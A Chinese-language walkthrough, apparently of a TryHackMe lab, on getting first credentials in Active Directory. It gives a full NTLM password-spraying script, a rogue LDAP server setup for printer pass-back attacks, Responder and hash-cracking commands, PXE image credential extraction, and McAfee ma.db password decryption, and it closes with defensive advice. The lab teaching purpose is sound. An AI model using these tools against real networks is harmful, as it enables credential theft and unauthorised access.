NTLM and NetNTLM
New Technology LAN Manager(NTLM)是一套用于在 AD 中验证用户身份的安全协议。NTLM 可以通过使用名为 NetNTLM 的基于质询/响应的方案进行身份验证。网络上的服务大量使用此身份验证机制。
NetNTLM,也称为 Windows 身份验证或 NTLM 身份验证,允许应用程序在客户端和 AD 之间扮演中间人的角色。所有身份验证材料都以质询的形式转发到域控制器,如果成功完成,应用程序将对用户进行身份验证。
Brute-force Login Attacks
大多数 AD 环境都配置帐户锁定,基本无法进行暴破,但可以进行密码喷洒。没有尝试多个不同的密码,而是使用一个密码,尝试不同的用户名。
假设您已收到一份在 OSINT 演习中发现的用户名列表。OSINT 演习还显示了该组织的初始入职密码 “Changeme123”。
可以使用 Hydra 等工具来协助。任务文件中提供了一个脚本,可用于密码喷洒攻击:
import requests
from requests_ntlm import HttpNtlmAuth
import sys, getopt
class NTLMSprayer:
def __init__(self, fqdn):
self.HTTP_AUTH_FAILED_CODE = 401
self.HTTP_AUTH_SUCCEED_CODE = 200
self.verbose = True
self.fqdn = fqdn
def load_users(self, userfile):
self.users = []
lines = open(userfile, 'r').readlines()
for line in lines:
self.users.append(line.replace("r", "").replace("n", ""))
def password_spray(self, password, url):
print ("[*] Starting passwords spray attack using the following password: " + password)
count = 0
for user in self.users:
response = requests.get(url, auth=HttpNtlmAuth(self.fqdn + "\" + user, password))
if (response.status_code == self.HTTP_AUTH_SUCCEED_CODE):
print ("[+] Valid credential pair found! Username: " + user + " Password: " + password)
count += 1
continue
if (self.verbose):
if (response.status_code == self.HTTP_AUTH_FAILED_CODE):
print ("[-] Failed login with Username: " + user)
print ("[*] Password spray attack completed, " + str(count) + " valid credential pairs found")
def main(argv):
userfile = ''
fqdn = ''
password = ''
attackurl = ''
try:
opts, args = getopt.getopt(argv, "hu:f:p:a:", ["userfile=", "fqdn=", "password=", "attackurl="])
except getopt.GetoptError:
print ("ntlm_passwordspray.py -u <userfile> -f <fqdn> -p <password> -a <attackurl>")
sys.exit(2)
for opt, arg in opts:
if opt == '-h':
print ("ntlm_passwordspray.py -u <userfile> -f <fqdn> -p <password> -a <attackurl>")
sys.exit()
elif opt in ("-u", "--userfile"):
userfile = str(arg)
elif opt in ("-f", "--fqdn"):
fqdn = str(arg)
elif opt in ("-p", "--password"):
password = str(arg)
elif opt in ("-a", "--attackurl"):
attackurl = str(arg)
if (len(userfile) > 0 and len(fqdn) > 0 and len(password) > 0 and len(attackurl) > 0):
#Start attack
sprayer = NTLMSprayer(fqdn)
sprayer.load_users(userfile)
sprayer.password_spray(password, attackurl)
sys.exit()
else:
print ("ntlm_passwordspray.py -u <userfile> -f <fqdn> -p <password> -a <attackurl>")
sys.exit(2)
if __name__ == "__main__":
main(sys.argv[1:])
python ntlm_passwordspray.py -u <userfile> -f <fqdn> -p <password> -a <attackurl>
<userfile> - 包含用户名的文件
<fqdn> - 攻击的域名
<password> - 密码
root@ip-10-10-215-42:~/Rooms/BreachingAD/task3# python ntlm_passwordspray.py -u usernames.txt -f za.tryhackme.com -p Changeme123 -a http://ntlmauth.za.tryhackme.com
[*] Starting passwords spray attack using the following password: Changeme123
[-] Failed login with Username: anthony.reynolds
[-] Failed login with Username: samantha.thompson
[-] Failed login with Username: dawn.turner
[-] Failed login with Username: frances.chapman
[-] Failed login with Username: henry.taylor
[-] Failed login with Username: jennifer.wood
[+] Valid credential pair found! Username: hollie.powell Password: Changeme123
[-] Failed login with Username: louise.talbot
[+] Valid credential pair found! Username: heather.smith Password: Changeme123
[-] Failed login with Username: dominic.elliott
[+] Valid credential pair found! Username: gordon.stevens Password: Changeme123
[-] Failed login with Username: alan.jones
[-] Failed login with Username: frank.fletcher
[-] Failed login with Username: maria.sheppard
[-] Failed login with Username: sophie.blackburn
[-] Failed login with Username: dawn.hughes
[-] Failed login with Username: henry.black
[-] Failed login with Username: joanne.davies
[-] Failed login with Username: mark.oconnor
[+] Valid credential pair found! Username: georgina.edwards Password: Changeme123
[*] Password spray attack completed, 4 valid credential pairs found
使用这些参数,我们应该从密码喷射攻击中获得一些有效的凭据对。
LDAP Bind Credentials
应用程序可以使用的另一种 AD 身份验证方法是轻量级目录访问协议(LDAP)身份验证。
LDAP 身份验证类似于 NTLM 身份验证,但使用 LDAP 身份验证,应用程序将直接验证用户的凭据。该应用程序有一对 AD 凭据,可以首先使用它们来查询 LDAP,然后验证 AD 用户的凭据。
由于使用 LDAP 身份验证的服务需要一组 AD 凭据,因此它开辟了额外的攻击途径。本质上,可以尝试获取服务使用的 AD 凭据,以获得对 AD 的身份验证访问。通过 LDAP 进行身份验证的过程如下所示:
LDAP 回传攻击是一种针对网络设备(如打印机)的常见攻击。
当获得对 LDAP 参数的设备配置的访问权限时,可以执行 LDAP Pass-back 攻击,例如网络打印机的网络接口。
通常,这些接口的凭据保留为默认凭据,如 admin:admin 或 admin:password。
我们无法直接提取 LDAP 凭据,但是可以更改 LDAP 配置。如 LDAP 服务器的 IP 或主机名。
Performing an LDAP Pass-back
假设网络中有一个网络打印机,管理网站甚至不需要凭据。
有用户名,但没有密码。当按下“测试设置”时,会向域控制器发出身份验证请求,以测试 LDAP 凭据。
尝试利用这一点让打印机连接到我们,以此获取泄露的凭据。使用 Netcat 来测试是否可以让打印机连接到我们。由于 LDAP 的默认端口是389,可以使用以下命令:
nc -lvp 389
请注意,有可能需要使用 service slapd stop 先禁用 slapd,然后更改 web 应用程序上的服务器输入框,以指向我们的 IP 并点击“测试设置”。
root@ip-10-10-215-42:~# nc -lvp 389
Listening on [0.0.0.0] (family 0, port 389)
Connection from ip-10-200-97-201.eu-west-1.compute.internal 64239 received!
c
x
objectclass supportedCapabilities
supportedCapabilities 响应告诉我们有问题。从本质上讲,在打印机发送凭据之前,它会尝试协商 LDAP 身份验证方法的详细信息。它将使用此协商来选择打印机和 LDAP 服务器都支持的最安全的身份验证方法。如果身份验证方法过于安全,则不会以明文形式传输凭据。使用某些身份验证方法,凭据根本不会通过网络传输!所以不能使用 Netcat 来获取凭据。需要创建一个 LDAP 服务器,并对其进行不安全的配置,以确保凭据以明文形式发送。
Hosting a Rogue LDAP Server
使用 OpenLDAP 来托管 LDAP 服务,使用以下命令安装 OpenLDAP:
apt -y install slapd ldap-utils && systemctl enable slapd
使用以下命令重新配置 LDAP 服务器:
dpkg-reconfigure -p low slapd
对于 DNS 域名,提供目标域 za.tryhackme.com:
组织名称也使用相同的名称:
提供任何管理员密码:
选择 MDB 作为要使用的 LDAP 数据库:
对于最后两个选项,请确保清除时不会删除数据库:
在创建新数据库文件之前先移动旧数据库文件:
dn: cn=config
replace: olcSaslSecProps
olcSaslSecProps: noanonymous,minssf=0,passcred
该文件具有以下属性:
- olcSaslSecProps: 指定SASL安全属性
- noanonymous: 禁用支持匿名登录的机制
root@ip-10-10-215-42:~# ldapmodify -Y EXTERNAL -H ldapi:// -f ./oldSaslSecProps.ldif && service slapd restart
SASL/EXTERNAL authentication started
SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth
SASL SSF: 0
modifying entry "cn=config"
root@ip-10-10-215-42:~# ldapsearch -H ldap:// -x -LLL -s base -b "" supportedSASLMechanisms
dn:
supportedSASLMechanisms: LOGIN
supportedSASLMechanisms: PLAIN
LDAP 服务器现在已经配置好了,可以使用 tcpdump 捕获凭据。当点击“测试设置”,身份验证将以明文形式进行发送,可在其中找到凭据:
Authentication Relays
Server Message Block
Intercepting NetNTLM Challenge
Responder 工具允许我们通过在 NetNTLM 身份验证期间破坏响应来执行中间人攻击,诱骗客户端与你交谈,而不是他们想连接的实际服务器。在大型Windows网络中,这些协议允许主机为同一本地网络中的所有主机执行自己的本地 DNS 解析。主机可以通过发送 LLMNR 请求查看是否有主机响应,首先尝试确定它们正在寻找的主机是否在同一本地网络上,而不是使 DNS 服务器等网络资源过载。NBT-NS 是 LLMNR 的前身协议,而 WPAD 请求是为了尝试为未来的 HTTP 连接找到代理。
john --wordlist=passwordlist.txt pass.txt
hashcat -m 5600 pass.txt passwordlist.txt --force --show
MDT and SCCM
任何提供 MDT 和 SCCM 等基础设施集中管理的东西也可能成为攻击者的目标,试图接管大部分关键功能,尽管 MDT 可以通过各种方式进行配置。
PXE 引导允许连接到网络的新设备直接通过网络连接加载和安装操作系统。MDT 可用于创建、管理和托管 PXE 引导映像。PXE 引导通常与 DHCP 集成,这意味着如果 DHCP 分配 IP 租约,则允许主机请求 PXE 引导映像并启动网络操作系统安装过程。通信流程如下图所示:
- 注入权限提升向量,如本地管理员帐户,在 PXE 引导完成后获得对操作系统的管理访问权限。
- 执行密码,获取安装过程中使用的 AD 凭据。
thm@THMJMP1 C:UsersthmDocumentsua>powershell -ep bypass
Windows PowerShell
PS C:UsersthmDocumentsua> Import-Module .PowerPXE.ps1
PS C:UsersthmDocumentsua> $BCDFile = "conf.bcd"
PS C:UsersthmDocumentsua> Get-WimFile -bcdFile $BCDFile
>> Parse the BCD file: conf.bcd
>>>> Identify wim file : Bootx64ImagesLiteTouchPE_x64.wim
Bootx64ImagesLiteTouchPE_x64.wim
PS C:UsersthmDocumentsua> tftp -i 10.200.97.202 GET "Bootx64ImagesLit
eTouchPE_x64.wim" pxeboot.win
Transfer successful: 341899611 bytes in 380 second(s), 899735 bytes/s
PS C:UsersthmDocumentsua> Get-FindCredentials -WimFile pxeboot.win
>> Open pxeboot.win
New-Item : An item with the specified name
C:UsersthmDocumentsuapxeboot already exists.
At C:UsersthmDocumentsuaPowerPXE.ps1:212 char:13
+ $null = New-Item -ItemType directory -Path $WimDir
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : ResourceExists: (C:UsersthmDocumentsuapx
eboot:String) [New-Item], IOException
+ FullyQualifiedErrorId : DirectoryExist,Microsoft.PowerShell.Commands.
NewItemCommand
>>>> Finding Bootstrap.ini
>>>> >>>> DeployRoot = \THMMDTMTDBuildLab$
>>>> >>>> UserID = svcMDT
>>>> >>>> UserDomain = ZA
>>>> >>>> UserPassword = PXEBootSecure1@
假设足够幸运,导致了一次入侵,可以访问组织网络上的主机。在这种情况下,配置文件是获取 AD 凭据的绝佳途径。根据被入侵的主机,各种配置文件可能对枚举有价值:
- Web应用程序配置文件
- 服务配置文件
- 注册表键值
Configuration File Credentials
一些应用程序需要一种方法来在安装和执行阶段对域进行身份验证。McAfee Enterprise Endpoint Security 就是这样一个应用程序的例子,组织可以将其用作安全的端点检测和响应工具。
McAfee 将安装过程中用于连接的凭据嵌入到名为 ma.db 的文件中。可以通过对主机的本地访问来检索和读取此数据库文件,以获取关联的 AD 服务帐户。
ma.db 文件存储在固定位置:
thm@THMJMP1 C:Usersthm>cd c:ProgramDataMcAfeeAgentDB
thm@THMJMP1 c:ProgramDataMcAfeeAgentDB>dir
Volume in drive C is Windows
Volume Serial Number is 1634-22A9
Directory of c:ProgramDataMcAfeeAgentDB
03/28/2022 05:19 AM <DIR> .
03/28/2022 05:19 AM <DIR> ..
03/05/2022 07:45 PM 120,832 ma.db
1 File(s) 120,832 bytes
2 Dir(s) 50,760,777,728 bytes free
可以使用 SCP 将 ma.db 复制到我们的攻击机:
root@ip-10-10-203-57:~# scp [email protected]:C:/ProgramData/McAfee/Agent/DB/ma.db .
[email protected]'s password:
ma.db 100% 118KB 2.5MB/s 00:00
要读取数据库文件,可使用一个名为 sqlitebrowser 的工具。使用以下命令打开数据库:
root@ip-10-10-203-57:~# sqlitebrowser ma.db
选择“Browse Data”选项,并将重点放在 AGENT_REPOSITIORIES 表上:
AUTH_PASSWD 字段是加密的,幸运的是 McAfee 使用一个已知的密钥对该字段进行加密。
https://github.com/funoverip/mcafee-sitelist-pwd-decryption
使用脚本进行解密:
root@ip-10-10-203-57:~# python2 mcafee_sitelist_pwd_decrypt.py jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q==
Crypted password : jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q==
Decrypted password : MyStrongPassword!
- 用户意识和培训:网络安全链中最薄弱的环节几乎总是用户。培训用户并让他们意识到,在披露凭据等敏感信息时应小心,不要信任可疑电子邮件。
- 限制 AD 服务和应用程序的在线暴露:并非所有应用程序都必须可以从 internet 访问,尤其是那些支持 NTLM 和 LDAP 身份验证的应用程序。相反,这些应用程序应该放在可以通过 VPN 访问的内联网中。然后,VPN 可以支持多因素身份验证以提高安全性。
- 强制网络访问控制(NAC):NAC可以防止攻击者连接网络上的设备。但是,由于必须允许列出合法设备,因此需要付出相当大的努力。
- 强制 SMB 签名:通过强制 SMB 签名,SMB 中继攻击是不可能的。
- 遵循最低权限原则:在大多数情况下,攻击者将能够获取 AD 凭据。通过遵循最低特权原则,可以显著降低凭据被泄露的风险。
原文始发于微信公众号(走在网安路上的哥布林):攻破 Active Directory
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论